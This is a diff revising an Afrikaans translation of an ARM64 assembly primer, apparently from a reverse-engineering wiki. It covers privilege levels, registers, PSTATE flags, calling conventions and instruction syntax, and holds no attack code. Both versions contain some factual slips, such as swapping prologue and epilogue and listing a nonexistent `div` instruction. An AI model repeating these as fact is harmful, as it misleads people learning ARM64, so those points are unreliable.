+- Dit is die mees bevoorregte vlak en word dikwels gebruik vir secure boot en vertroude uitvoeringsomgewings.
-- EL3 kan toegang en beheer tussen veilige en nie-veilige toestande bestuur (soos veilige opstart, vertroude OS, ens.).
+- EL3 kan toegang tussen secure en non-secure state beheer en bestuur (soos secure boot, trusted OS, ens.).
 
-Die gebruik van hierdie vlakke stel 'n gestruktureerde en veilige manier in om verskillende aspekte van die stelsel te bestuur, van gebruikersaansoeke tot die mees bevoorregte stelselsagteware. ARMv8 se benadering tot voorregte help om verskillende stelselskomponente effektief te isoleer, wat die sekuriteit en robuustheid van die stelsel verbeter.
+Die gebruik van hierdie vlakke maak 'n gestruktureerde en veilige wyse moontlik om verskillende aspekte van die stelsel te bestuur, van gebruikersprogramme tot die mees bevoorregte stelselprogrammatuur. ARMv8 se benadering tot voorregvlakke help om verskillende stelselkomponente effektief te isoleer en sodoende die sekuriteit en robuustheid van die stelsel te versterk.
 
 ## **Registers (ARM64v8)**
 
-ARM64 het **31 algemene registers**, gemerk `x0` tot `x30`. Elke kan 'n **64-bit** (8-byte) waarde stoor. Vir operasies wat slegs 32-bit waardes vereis, kan dieselfde registers in 'n 32-bit modus met die name w0 tot w30 benader word.
+ARM64 het **31 general-purpose registers**, gemerk `x0` tot `x30`. Elk kan 'n **64-bit** (8-byt) waarde stoor. Vir operasies wat slegs 32-bit waardes benodig, kan dieselfde registers in 'n 32-bit formaat geraadpleeg word met die name `w0` tot `w30`.
 
-1. **`x0`** tot **`x7`** - Hierdie word tipies as skrapregisters en vir die oordrag van parameters na subrutines gebruik.
+1. **`x0`** tot **`x7`** - Hierdie word tipies gebruik as scratch-registers en vir die deurgee van parameters na subrutines.
-- **`x0`** dra ook die terugdata van 'n funksie
+- **`x0`** dra ook die terugkeerdata van 'n funksie.
-2. **`x8`** - In die Linux-kernel word `x8` as die stelselaanroepnommer vir die `svc` instruksie gebruik. **In macOS is dit x16 wat gebruik word!**
+2. **`x8`** - In die Linux-kern word `x8` gebruik as die system call nommer vir die `svc` instruksie. **In macOS die x16 is die een wat gebruik word!**
 3. **`x9`** tot **`x15`** - Meer tydelike registers, dikwels gebruik vir plaaslike veranderlikes.
-4. **`x16`** en **`x17`** - **Intra-prosedurele Oproep Registers**. Tydelike registers vir onmiddellike waardes. Hulle word ook gebruik vir indirekte funksie-oproepe en PLT (Prosedure Koppeling Tabel) stubs.
+4. **`x16`** en **`x17`** - **Intra-procedural Call Registers**. Tydelike registers vir onmiddellike waardes. Hulle word ook gebruik vir indirekte funksie-oproepe en PLT (Procedure Linkage Table) stubs.
-- **`x16`** word as die **stelselaanroepnommer** vir die **`svc`** instruksie in **macOS** gebruik.
+- **`x16`** word gebruik as die **system call number** vir die **`svc`** instruksie in **macOS**.
-5. **`x18`** - **Platform register**. Dit kan as 'n algemene register gebruik word, maar op sommige platforms is hierdie register gereserveer vir platform-spesifieke gebruike: Punter na die huidige draad-omgewing blok in Windows, of om na die huidige **uitvoerende taakstruktuur in die linux kernel** te verwys.
+5. **`x18`** - **Platform register**. Dit kan as 'n general-purpose register gebruik word, maar op sommige platforms is hierdie register gereserveer vir platform-spesifieke gebruike: wysiger na die huidige thread environment block in Windows, of om na die tans **uitvoerende task structure in linux kernel** te wys.
-6. **`x19`** tot **`x28`** - Hierdie is kalteer-bewaar registers. 'n Funksie moet hierdie registers se waardes vir sy oproeper behou, so hulle word in die stapel gestoor en herwin voordat hulle terug na die oproeper gaan.
+6. **`x19`** tot **`x28`** - Dit is callee-saved registers. 'n Funksie moet die waardes van hierdie registers vir sy caller bewaar, dus word hulle in die stack gestoor en herkry voordat teruggekeer word na die caller.
-7. **`x29`** - **Raamwyser** om die stapelraam te volg. Wanneer 'n nuwe stapelraam geskep word omdat 'n funksie opgeroep word, word die **`x29`** register **in die stapel gestoor** en die **nuwe** raamwyser adres is (**`sp`** adres) **in hierdie register gestoor**.
+7. **`x29`** - **Frame pointer** om die stack-raad te hou. Wanneer 'n nuwe stack-frame geskep word omdat 'n funksie aangeroep is, word die **`x29`** register **in die stack gestoor** en die **nuwe** frame pointer adres (die **`sp`** adres) word **in hierdie register** gestoor.
-- Hierdie register kan ook as 'n **algemene register** gebruik word, alhoewel dit gewoonlik as 'n verwysing na **lokale veranderlikes** gebruik word.
+- Hierdie register kan ook as 'n **general-purpose register** gebruik word alhoewel dit gewoonlik as verwysing na **plaatslike veranderlikes** gebruik word.
-8. **`x30`** of **`lr`**- **Koppeling register**. Dit hou die **terugadres** wanneer 'n `BL` (Branch with Link) of `BLR` (Branch with Link to Register) instruksie uitgevoer word deur die **`pc`** waarde in hierdie register te stoor.
+8. **`x30`** of **`lr`** - **Link register**. Dit hou die **terugkeeradres** wanneer 'n `BL` (Branch with Link) of `BLR` (Branch with Link to Register) instruksie uitgevoer word deur die **`pc`** waarde in hierdie register te stoor.
 - Dit kan ook soos enige ander register gebruik word.
-- As die huidige funksie 'n nuwe funksie gaan oproep en dus `lr` gaan oorskryf, sal dit dit aan die begin in die stapel stoor, dit is die epiloog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stoor `fp` en `lr`, genereer ruimte en kry nuwe `fp`) en dit aan die einde herwin, dit is die proloog (`ldp x29, x30, [sp], #48; ret` -> Herwin `fp` en `lr` en keer terug).
+- As die huidige funksie 'n nuwe funksie gaan aanroep en dus `lr` oorskryf, sal dit aan die begin in die stack gestoor word—dit is die epiloog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stoor `fp` en `lr`, genereer ruimte en kry nuwe `fp`) en herstel dit aan die einde, dit is die proloog (`ldp x29, x30, [sp], #48; ret` -> Herstel `fp` en `lr` en keer terug).
-9. **`sp`** - **Stapelwyser**, gebruik om die bokant van die stapel te volg.
+9. **`sp`** - **Stack pointer**, gebruik om die top van die stack te hê.
-- die **`sp`** waarde moet altyd ten minste 'n **quadword** **uitlijning** of 'n uitlijningsfout mag voorkom.
+- Die **`sp`** waarde moet altyd op ten minste 'n **quadword** **uitlyningsvlak** gehou word of 'n uitlyningsfout kan voorkom.
-10. **`pc`** - **Program teller**, wat na die volgende instruksie wys. Hierdie register kan slegs deur uitsondering generasies, uitsondering terugkeerde, en takke opgedateer word. Die enigste gewone instruksies wat hierdie register kan lees, is tak met koppeling instruksies (BL, BLR) om die **`pc`** adres in **`lr`** (Koppeling Register) te stoor.
+10. **`pc`** - **Program counter**, wat na die volgende instruksie wys. Hierdie register kan slegs bygewerk word deur exception-generasies, exception-terugkeer en takke. Die enigste gewone instruksies wat hierdie register kan lees, is Branch with Link instruksies (BL, BLR) om die **`pc`** adres in **`lr`** (Link Register) te stoor.
-11. **`xzr`** - **Nul register**. Ook genoem **`wzr`** in sy **32**-bit registervorm. Kan gebruik word om die nulwaarde maklik te kry (gewone operasie) of om vergelykings te doen met **`subs`** soos **`subs XZR, Xn, #10`** wat die resulterende data nêrens stoor (in **`xzr`**).
+11. **`xzr`** - **Zero register**. Ook genoem **`wzr`** in sy **32**-bit register vorm. Kan gebruik word om maklik die nul-waarde te kry (algemene operasie) of om vergelykings uit te voer met **`subs`** soos **`subs XZR, Xn, #10`** en die resultaat nêrens te stoor (in **`xzr`**).
 
 Die **`Wn`** registers is die **32bit** weergawe van die **`Xn`** register.
 
-### SIMD en Vervaardigingsregisters
+> [!TIP]
+> Die registers van X0 - X18 is vluchtig (volatile), wat beteken hul waardes kan deur funksie-oproepe en interrupts verander word. Die registers van X19 - X28 is egter nie-vlugtig, wat beteken hul waardes moet oor funksie-oproepe bewaar bly ("callee saved").
 
-Boonop is daar nog **32 registers van 128bit lengte** wat in geoptimaliseerde enkele instruksie meervoudige data (SIMD) operasies en vir die uitvoering van drijvende-komma rekenkunde gebruik kan word. Hierdie word die Vn registers genoem alhoewel hulle ook in **64**-bit, **32**-bit, **16**-bit en **8**-bit kan werk en dan word hulle **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** en **`Bn`** genoem.
+### SIMD and Floating-Point Registers
 
-### Stelselsregisters
+Bo en behalwe is daar nog **32 registers van 128bit lengte** wat in geoptimaliseerde single instruction multiple data (SIMD) operasies en vir dryfpunt-aritmetika gebruik kan word. Hierdie word die Vn registers genoem alhoewel hulle ook in **64**-bit, **32**-bit, **16**-bit en **8**-bit opereer en dan **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** en **`Bn`** genoem word.
 
-**Daar is honderde stelselsregisters**, ook bekend as spesiale doeleindregisters (SPRs), wat gebruik word vir **monitering** en **beheer** van **verwerkers** gedrag.\
+### System Registers
-Hulle kan slegs gelees of gestel word met die toegewyde spesiale instruksie **`mrs`** en **`msr`**.
 
-Die spesiale registers **`TPIDR_EL0`** en **`TPIDDR_EL0`** word algemeen aangetref wanneer omgekeerde ingenieurswese gedoen word. Die `EL0` agtervoegsel dui die **minimale uitsondering** aan waaruit die register benader kan word (in hierdie geval is EL0 die gewone uitsondering (privilege) vlak waaroor gewone programme loop).\
+**Daar is honderde system registers**, ook genoem special-purpose registers (SPRs), wat gebruik word vir **monitoring** en **beheering** van die **verhouding van verwerkers**.\
-Hulle word dikwels gebruik om die **basisadres van die draad-lokale berging** geheue streek te stoor. Gewoonlik is die eerste een leesbaar en skryfbaar vir programme wat in EL0 loop, maar die tweede kan van EL0 gelees en van EL1 (soos kernel) geskryf word.
+Hulle kan slegs gelees of gestel word met behulp van die toegewyde spesiale instruksies **`mrs`** en **`msr`**.
 
-- `mrs x0, TPIDR_EL0 ; Lees TPIDR_EL0 in x0`
+Die spesiale registers **`TPIDR_EL0`** en **`TPIDDR_EL0`** kom algemeen voor tydens reverse engineering. Die `EL0` agtervoegsel dui die **minimale exception** aan waarvan die register toeganklik is (in hierdie geval is EL0 die gewone exception (voorreg) vlak waarop gewone programme hardloop).\
-- `msr TPIDR_EL0, X0 ; Skryf x0 in TPIDR_EL0`
+Hul word dikwels gebruik om die **basisadres van die thread-local storage** geheuegebied te stoor. Gewoonlik is die eerste een lees- en skryfbaar vir programme wat by EL0 loop, maar die tweede kan van EL0 gelees en van EL1 geskryf word (soos die kernel).
+
+- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
+- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
 
 ### **PSTATE**
 
-**PSTATE** bevat verskeie proses komponente wat in die bedryfstelsel-sigbare **`SPSR_ELx`** spesiale register geserieleer is, wat X die **toestemming** **vlak van die geaktiveerde** uitsondering aandui (dit stel in staat om die prosesstatus te herstel wanneer die uitsondering eindig).\
+**PSTATE** bevat verskeie proseskomponente geserialiseer in die bedryfstelsel-sigbare **`SPSR_ELx`** spesiale register, waar X die **permitvlak** van die getriggerde exception is (dit laat toe om die prosesstaat te herstel wanneer die exception eindig).\
-Hierdie is die toeganklike velde:
+Hierdie is die toeganklike veldjies:
 
 <figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
 
-- Die **`N`**, **`Z`**, **`C`** en **`V`** toestand vlae:
+- Die **`N`**, **`Z`**, **`C`** en **`V`** conditievlae:
-- **`N`** beteken die operasie het 'n negatiewe resultaat opgelewer
+- **`N`** beteken die operasie het 'n negatiewe resultaat gegee
-- **`Z`** beteken die operasie het nul opgelewer
+- **`Z`** beteken die operasie het nul gegee
-- **`C`** beteken die operasie het 'n dra gelewer
+- **`C`** beteken die operasie het 'n carry gehad
-- **`V`** beteken die operasie het 'n onderteken oorloop opgelewer:
+- **`V`** beteken die operasie het 'n signed overflow gegee:
-- Die som van twee positiewe getalle lewer 'n negatiewe resultaat.
+- Die som van twee positiewe getalle gee 'n negatiewe resultaat.
-- Die som van twee negatiewe getalle lewer 'n positiewe resultaat.
+- Die som van twee negatiewe getalle gee 'n positiewe resultaat.
-- In aftrekking, wanneer 'n groot negatiewe getal van 'n kleiner positiewe getal (of omgekeerd) afgetrek word, en die resultaat nie binne die reeks van die gegewe bitgrootte verteenwoordig kan word nie.
+- In aftrekking, wanneer 'n groot negatiewe getal van 'n kleiner positiewe getal afgetrek word (of omgekeerd), en die resultaat nie binne die reeks van die gegewe bits getoon kan word nie.
-- Dit is duidelik dat die verwerker nie weet of die operasie onderteken is of nie, so dit sal C en V in die operasies nagaan en aandui of 'n dra plaasgevind het in die geval dit onderteken of nie.
+- Oenklik die verwerker weet nie of die operasie signed is of nie, so dit sal C en V in die operasies nagaan en aandui of 'n carry plaasgevind het in die geval dit signed of unsigned was.
 
 > [!WARNING]
-> Nie al die instruksies werk hierdie vlae op nie. Sommige soos **`CMP`** of **`TST`** doen, en ander wat 'n s agtervoegsel het soos **`ADDS`** doen dit ook.
+> Nie al die instruksies werk hierdie vlae by nie. Sommige soos **`CMP`** of **`TST`** doen dit, en ander wat 'n `s` agtervoegsel het soos **`ADDS`** doen dit ook.
 
-- Die huidige **register breedte (`nRW`) vlag**: As die vlag die waarde 0 hou, sal die program in die AArch64 uitvoeringsstaat loop sodra dit hervat word.
+- Die huidige **register breedte (`nRW`) vlag**: As die vlag die waarde 0 hou, sal die program in die AArch64 uitvoeringsstaat loop sodra hervat.
-- Die huidige **Uitsondering Vlak** (**`EL`**): 'n Gewone program wat in EL0 loop, sal die waarde 0 hê
+- Die huidige **Exception Level** (**`EL`**): 'n Gewone program wat in EL0 loop sal die waarde 0 hê.
-- Die **enkele stap** vlag (**`SS`**): Gebruik deur debuggers om enkelstap deur die SS-vlag op 1 in **`SPSR_ELx`** deur 'n uitsondering te stel. Die program sal 'n stap uitvoer en 'n enkele stap uitsondering uitreik.
+- Die **single stepping** vlag (**`SS`**): Word deur debuggers gebruik om enkelstap deur te voer deur die SS vlag op 1 te stel binne **`SPSR_ELx`** deur 'n exception. Die program sal 'n stap uitvoer en 'n single step exception uitreik.
-- Die **onwettige uitsondering** toestand vlag (**`IL`**): Dit word gebruik om aan te dui wanneer 'n bevoorregte sagteware 'n ongeldige uitsondering vlak oordrag uitvoer, hierdie vlag word op 1 gestel en die verwerker aktiveer 'n onwettige toestand uitsondering.
+- Die **illegal exception** status vlag (**`IL`**): Dit word gebruik om te merk wanneer 'n bevoorregte sagteware 'n ongeldige exception level-oordrag uitvoer; hierdie vlag word op 1 gestel en die verwerker trigger 'n illegal state exception.
-- Die **`DAIF`** vlae: Hierdie vlae stel 'n bevoorregte program in staat om sekere eksterne uitsonderings selektief te masker.
+- Die **`DAIF`** vlae: Hierdie vlae laat 'n bevoorregte program toe om sekere eksterne exceptions selektief te mask.
-- As **`A`** 1 is, beteken dit **asynchrone abortus** sal geaktiveer word. Die **`I`** stel in om te reageer op eksterne hardeware **Interrupts Requests** (IRQs). en die F is verwant aan **Fast Interrupt Requests** (FIRs).
+- As **`A`** 1 is beteken dit **asynchronous aborts** sal getrigger word. Die **`I`** konfigureer om op eksterne hardeware **Interrupt Requests** (IRQs) te reageer. En die **`F`** is verwant aan **Fast Interrupt Requests** (FIRs).
-- Die **stapelwyser seleksie** vlae (**`SPS`**): Bevoorregte programme wat in EL1 en hoër loop, kan tussen die gebruik van hul eie stapelwyser register en die gebruikersmodel een (bv. tussen `SP_EL1` en `EL0`) wissel. Hierdie wisseling word uitgevoer deur na die **`SPSel`** spesiale register te skryf. Dit kan nie van EL0 gedoen word nie.
+- Die **stack pointer select** vlae (**`SPS`**): Bevoorregte programme wat in EL1 en hoër loop kan skakel tussen die gebruik van hul eie stack pointer register en die gebruiker-model een (bv. tussen `SP_EL1` en `EL0`). Hierdie omskakeling word uitgevoer deur na die **`SPSel`** spesiale register te skryf. Dit kan nie vanaf EL0 gedoen word nie.
 
-## **Oproep Konvensie (ARM64v8)**
+## **Calling Convention (ARM64v8)**
 
-Die ARM64 oproep konvensie spesifiseer dat die **eerste agt parameters** aan 'n funksie in registers **`x0` tot `x7`** oorgedra word. **Addisionele** parameters word op die **stapel** oorgedra. Die **terug** waarde word in register **`x0`** teruggegee, of in **`x1`** ook **as dit 128 bits lank is**. Die **`x19`** tot **`x30`** en **`sp`** registers moet **behou** word oor funksie-oproepe.
+Die ARM64 calling convention spesifiseer dat die **eerste agt parameters** aan 'n funksie in registers **`x0`** tot **`x7`** gedra word. **Addisionele** parameters word op die **stack** deurgegee. Die **terugkeer** waarde word in register **`x0`** teruggegee, of ook in **`x1`** as dit 128 bits lank is. Die **`x19`** tot **`x30`** en **`sp`** registers moet **behou** word oor funksie-oproepe.
 
-Wanneer jy 'n funksie in assembly lees, soek die **funksie proloog en epiloog**. Die **proloog** behels gewoonlik **die stoor van die raamwyser (`x29`)**, **opstelling** van 'n **nuwe raamwyser**, en **toewysing van stapelruimte**. Die **epiloog** behels gewoonlik **die herstel van die gestoor raamwyser** en **terugkeer** van die funksie.
+Wanneer jy 'n funksie in assembler lees, kyk vir die **funksie proloog en epiloog**. Die **proloog** behels gewoonlik **om die frame pointer (`x29`) te stoor**, **op te stel** 'n **nuwe frame pointer**, en **stack-ruimte te toeken**. Die **epiloog** behels gewoonlik **herstel van die gestoor frame pointer** en **terugkeer** uit die funksie.
 
-### Oproep Konvensie in Swift
+### Calling Convention in Swift
 
-Swift het sy eie **oproep konvensie** wat gevind kan word in [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
+Swift het sy eie **calling convention** wat gevind kan word by [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
 
-## **Algemene Instruksies (ARM64v8)**
+## **Common Instructions (ARM64v8)**
 
-ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, waar **`opcode`** die **operasie** is wat uitgevoer moet word (soos `add`, `sub`, `mov`, ens.), **`dst`** is die **bestemmings** register waar die resultaat gestoor sal word, en **`src1`** en **`src2`** is die **bron** registers. Onmiddellike waardes kan ook in plaas van bron registers gebruik word.
+ARM64-instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, waar **`opcode`** die **operasie** is wat uitgevoer word (soos `add`, `sub`, `mov`, ens.), **`dst`** is die **bestemming** register waar die resultaat gestoor sal word, en **`src1`** en **`src2`** is die **bronne** registers. Immediate waardes kan ook in plek van bronregisters gebruik word.
 
-- **`mov`**: **Beweeg** 'n waarde van een **register** na 'n ander.
+- **`mov`**: **Move** 'n waarde van een **register** na 'n ander.
-- Voorbeeld: `mov x0, x1` — Dit beweeg die waarde van `x1` na `x0`.
+- Voorbeeld: `mov x0, x1` — Dit skuif die waarde van `x1` na `x0`.
-- **`ldr`**: **Laai** 'n waarde van **geheue** in 'n **register**.
+- **`ldr`**: **Load** 'n waarde uit **geheue** in 'n **register**.
-- Voorbeeld: `ldr x0, [x1]` — Dit laai 'n waarde van die geheue ligging wat deur `x1` aangedui word in `x0`.
+- Voorbeeld: `ldr x0, [x1]` — Dit laai 'n waarde van die geheue-ligging wat deur `x1` aangedui word in `x0`.
-- **Offset modus**: 'n offset wat die oorspronklike punter beïnvloed, word aangedui, byvoorbeeld:
+- **Offset mode**: 'n Offset wat die oorsprong-aanwyser affekteer word aangedui, byvoorbeeld:
-- `ldr x2, [x1, #8]`, dit sal die waarde van x1 + 8 in x2 laai
+- `ldr x2, [x1, #8]`, dit sal in x2 die waarde van x1 + 8 laai
-- `ldr x2, [x0, x1, lsl #2]`, dit sal 'n objek van die reeks x0 in x2 laai, vanaf die posisie x1 (indeks) \* 4
+- `ldr x2, [x0, x1, lsl #2]`, dit sal in x2 'n objek uit die array x0 laai, van posisie x1 (indeks) * 4
-- **Pre-geïndekseerde modus**: Dit sal berekeninge op die oorspronklike toepas, die resultaat kry en ook die nuwe oorspronklike in die oorspronklike stoor.
+- **Pre-indexed mode**: Dit sal berekeninge op die oorsprong toepas, die resultaat kry en ook die nuwe oorsprong in die oorsprong stoor.
 - `ldr x2, [x1, #8]!`, dit sal `x1 + 8` in `x2` laai en in x1 die resultaat van `x1 + 8` stoor
-- `str lr, [sp, #-4]!`, Stoor die koppeling register in sp en werk die register sp op
+- `str lr, [sp, #-4]!`, Stoor die link register in sp en werk die register sp op
-- **Post-geïndekseerde modus**: Dit is soos die vorige een, maar die geheue adres word toegang verkry en dan word die offset bereken en gestoor.
+- **Post-index mode**: Dit is soos die vorige, maar die geheueadres word eerstens geraadpleeg en dan word die offset bereken en gestoor.
 - `ldr x0, [x1], #8`, laai `x1` in `x0` en werk x1 op met `x1 + 8`
-- **PC-relatiewe adressering**: In hierdie geval word die adres om te laai relatief tot die PC register bereken
+- **PC-relative addressing**: In hierdie geval word die adres wat gelaai moet word relatief tot die PC-register bereken
-- `ldr x1, =_start`, Dit sal die adres waar die `_start` simbool begin in x1 laai, verwant aan die huidige PC.
+- `ldr x1, =_start`, Dit sal die adres waar die `_start` simbool begin in x1 laai verwant aan die huidige PC.
-- **`str`**: **Stoor** 'n waarde van 'n **register** in **geheue**.
+- **`str`**: **Store** 'n waarde van 'n **register** in **geheue**.
-- Voorbeeld: `str x0, [x1]` — Dit stoor die waarde in `x0` in die geheue ligging wat deur `x1` aangedui word.
+- Voorbeeld: `str x0, [x1]` — Dit stoor die waarde in `x0` in die geheue-ligging aangedui deur `x1`.
-- **`ldp`**: **Laai Paar Registers**. Hierdie instruksie **laai twee registers** van **aaneengeskakelde geheue** liggings. Die geheue adres word tipies gevorm deur 'n offset by die waarde in 'n ander register te voeg.
+- **`ldp`**: **Load Pair of Registers**. Hierdie instruksie **laai twee registers** van **aaneenliggende geheue** liggings. Die geheueadres word tipies gevorm deur 'n offset by die waarde in 'n ander register op te tel.
-- Voorbeeld: `ldp x0, x1, [x2]` — Dit laai `x0` en `x1` van die geheue liggings by `x2` en `x2 + 8`, onderskeidelik.
+- Voorbeeld: `ldp x0, x1, [x2]` — Dit laai `x0` en `x1` van die geheue-liggings by `x2` en `x2 + 8`, onderskeidelik.
-- **`stp`**: **Stoor Paar Registers**. Hierdie instruksie **stoor twee registers** na **aaneengeskakelde geheue** liggings. Die geheue adres word tipies gevorm deur 'n offset by die waarde in 'n ander register te voeg.
+- **`stp`**: **Store Pair of Registers**. Hierdie instruksie **stoor twee registers** na **aaneenliggende geheue** liggings. Die geheueadres word tipies gevorm deur 'n offset by die waarde in 'n ander register op te tel.
-- Voorbeeld: `stp x0, x1, [sp]` — Dit stoor `x0` en `x1` na die geheue liggings by `sp` en `sp + 8`, onderskeidelik.
+- Voorbeeld: `stp x0, x1, [sp]` — Dit stoor `x0` en `x1` in die geheue-liggings by `sp` en `sp + 8`, onderskeidelik.
-- `stp x0, x1, [sp, #16]!` — Dit stoor `x0` en `x1` na die geheue liggings by `sp+16` en `sp + 24`, onderskeidelik, en werk `sp` op met `sp+16`.
+- `stp x0, x1, [sp, #16]!` — Dit stoor `x0` en `x1` in die geheue-liggings by `sp+16` en `sp + 24`, onderskeidelik, en werk `sp` by na `sp+16`.
 - **`add`**: **Voeg** die waardes van twee registers by en stoor die resultaat in 'n register.
-- Sintaksis: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
+- Sintaks: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
 - Xn1 -> Bestemming
 - Xn2 -> Operand 1
-- Xn3 | #imm -> Operando 2 (register of onmiddellik)
+- Xn3 | #imm -> Operand 2 (register of immediate)
-- \[shift #N | RRX] -> Voer 'n skuif uit of bel RRX
+- \[shift #N | RRX] -> Voer 'n skuif uit of gebruik RRX
-- Voorbeeld: `add x0, x1, x2` — Dit voeg die waardes in `x1` en `x2` saam en stoor die resultaat in `x0`.
+- Voorbeeld: `add x0, x1, x2` — Dit tel die waardes in `x1` en `x2` bymekaar en stoor die resultaat in `x0`.
-- `add x5, x5, #1, lsl #12` — Dit is gelyk aan 4096 (1 wat 12 keer geskuif is) -> 1 0000 0000 0000 0000
+- `add x5, x5, #1, lsl #12` — Dit is gelyk aan 4096 (1 geskuiwe 12 keer) -> 1 0000 0000 0000 0000
-- **`adds`** Dit voer 'n `add` uit en werk die vlae op
+- **`adds`** Dit voer 'n `add` uit en werk die vlae by
-- **`sub`**: **Trek** die waardes van twee registers af en stoor die resultaat in 'n register.
+- **`sub`**: **Trek af** die waardes van twee registers en stoor die resultaat in 'n register.
-- Kontroleer **`add`** **sintaksis**.
+- Kyk **`add`** **sintaks**.
 - Voorbeeld: `sub x0, x1, x2` — Dit trek die waarde in `x2` van `x1` af en stoor die resultaat in `x0`.
-- **`subs`** Dit is soos sub maar werk die vlag op
+- **`subs`** Dit is soos `sub` maar werk die vlae by
 - **`mul`**: **Vermenigvuldig** die waardes van **twee registers** en stoor die resultaat in 'n register.
 - Voorbeeld: `mul x0, x1, x2` — Dit vermenigvuldig die waardes in `x1` en `x2` en stoor die resultaat in `x0`.
 - **`div`**: **Deel** die waarde van een register deur 'n ander en stoor die resultaat in 'n register.
 - Voorbeeld: `div x0, x1, x2` — Dit deel die waarde in `x1` deur `x2` en stoor die resultaat in `x0`.
 - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
-- **Logiese skuif links**: Voeg 0s van die einde by en skuif die ander bits vorentoe (vermenigvuldig deur n-keer 2)
+- **Logical shift left**: Voeg 0's by aan die einde en skuif die ander bite vorentoe (vermenigvuldig met 2^n)
-- **Logiese skuif regs**: Voeg 1s aan die begin by en skuif die ander bits agtertoe (deel deur n-keer 2 in ongetekende)
+- **Logical shift right**: Voeg 0's aan die begin (vir unsigned) en skuif die ander bite agtertoe (deel deur 2^n vir unsigned)
-- **Arithmetiese skuif regs**: Soos **`lsr`**, maar in plaas van 0s by te voeg, as die mees betekenisvolle bit 'n 1 is, **word 1s bygevoeg** (deel deur n-keer 2 in getekende)
+- **Arithmetic shift right**: Soos **`lsr`**, maar as die hoogste bit 'n 1 is, word 1's bygevoeg (deel deur 2^n vir signed)
-- **Draai regs**: Soos **`lsr`** maar wat ook al van die regterkant verwyder word, word aan die linkerkant bygevoeg
+- **Rotate right**: Soos **`lsr`** maar wat uit die regterkant verwyder word word links aangeheg
-- **Draai Regs met Uitbreiding**: Soos **`ror`**, maar met die dra vlag as die "mees betekenisvolle bit". So die dra vlag word na die bit 31 verskuif en die verwyderde bit na die dra vlag.
+- **Rotate Right with Extend**: Soos **`ror`**, maar met die carry vlag as die "mees-belangrike bit". Dus word die carry vlag na bit 31 beweeg en die verwyderde bit na die carry vlag.
-- **`bfm`**: **Bit Veld Beweeg**, hierdie operasies **kopieer bits `0...n`** van 'n waarde en plaas dit in posisies **`m..m+n`**. Die **`#s`** spesifiseer die **linkerste bit** posisie en **`#r`** die **dra regs hoeveelheid**.
+- **`bfm`**: **Bit Field Move**, hierdie operasies **kopieer bite `0...n`** van 'n waarde en plaas hulle in posisies **`m..m+n`**. Die **`#s`** spesifiseer die **linkerste bit** posisie en **`#r`** die **rotate right hoeveelheid**.
-- Bitfiled beweeg: `BFM Xd, Xn, #r`
+- Bitfield move: `BFM Xd, Xn, #r`
-- Getekende Bitfield beweeg: `SBFM Xd, Xn, #r, #s`
+- Signed Bitfield move: `SBFM Xd, Xn, #r, #s`
-- Ongetekende Bitfield beweeg: `UBFM Xd, Xn, #r, #s`
+- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s`
-- **Bitfield Uittrek en Invoeg:** Kopieer 'n bitveld van 'n register en kopieer dit na 'n ander register.
+- **Bitfield Extract and Insert:** Kopieer 'n bitveld uit 'n register en plaas dit in 'n ander register.
-- **`BFI X1, X2, #3, #4`** Voeg 4 bits van X2 vanaf die 3de bit van X1 in
+- **`BFI X1, X2, #3, #4`** Sit 4 bite van X2 in vanaf die 3de bit van X1
-- **`BFXIL X1, X2, #3, #4`** Trek 4 bits vanaf die 3de bit van X2 uit en kopieer dit na X1
+- **`BFXIL X1, X2, #3, #4`** Trek 4 bite uit vanaf die 3de bit van X2 en kopieer hulle na X1
-- **`SBFIZ X1, X2, #3, #4`** Onderteken-uitbrei 4 bits van X2 en voeg dit in X1 in wat by bit posisie 3 begin en die regter bits nulmaak
+- **`SBFIZ X1, X2, #3, #4`** Sign-extends 4 bite van X2 en plaas dit in X1 beginnende by bitposisie 3 en maak die regterbite nul
-- **`SBFX X1, X2, #3, #4`** Trek 4 bits vanaf bit 3 van X2 uit, onderteken uitbrei dit, en plaas die resultaat in X1
+- **`SBFX X1, X2, #3, #4`** Trek 4 bite beginnende by bit 3 van X2 uit, sign-extend dit, en plaas die resultaat in X1
-- **`UBFIZ X1, X2, #3, #4`** Nul-uitbrei 4 bits van X2 en voeg dit in X1 in wat by bit posisie 3 begin en die regter bits nulmaak
+- **`UBFIZ X1, X2, #3, #4`** Zero-extends 4 bite van X2 en plaas dit in X1 beginnende by bitposisie 3 en maak die regterbite nul
-- **`UBFX X1, X2, #3, #4`** Trek 4 bits vanaf bit 3 van X2 uit en plaas die nul-uitgebreide resultaat in X1.
+- **`UBFX X1, X2, #3, #4`** Trek 4 bite beginnende by bit 3 van X2 uit en plaas die zero-extended resultaat in X1.
-- **Onderteken Uitbrei na X:** Brei die teken uit (of voeg net 0s in die ongetekende weergawe) van 'n waarde uit om operasies daarmee uit te voer:
+- **Sign Extend To X:** Brei die teken uit (of voeg net 0s by in die unsigned weergawe) van 'n waarde om operasies met dit te kan uitvoer:
-- **`SXTB X1, W2`** Brei die teken van 'n byte **van W2 na X1** uit (`W2` is die helfte van `X2`) om die 64bits te vul
+- **`SXTB X1, W2`** Brei die teken van 'n byte **van W2 na X1** uit (`W2` is die helfte van `X2`) om die 64 bits te vul
-- **`SXTH X1, W2`** Brei die teken van 'n 16bit getal **van W2 na X1** uit om die 64bits te vul
+- **`SXTH X1, W2`** Brei die teken van 'n 16-bit getal **van W2 na X1** uit om die 64 bits te vul
-- **`SXTW X1, W2`** Brei die teken van 'n byte **van W2 na X1** uit om die 64bits te vul
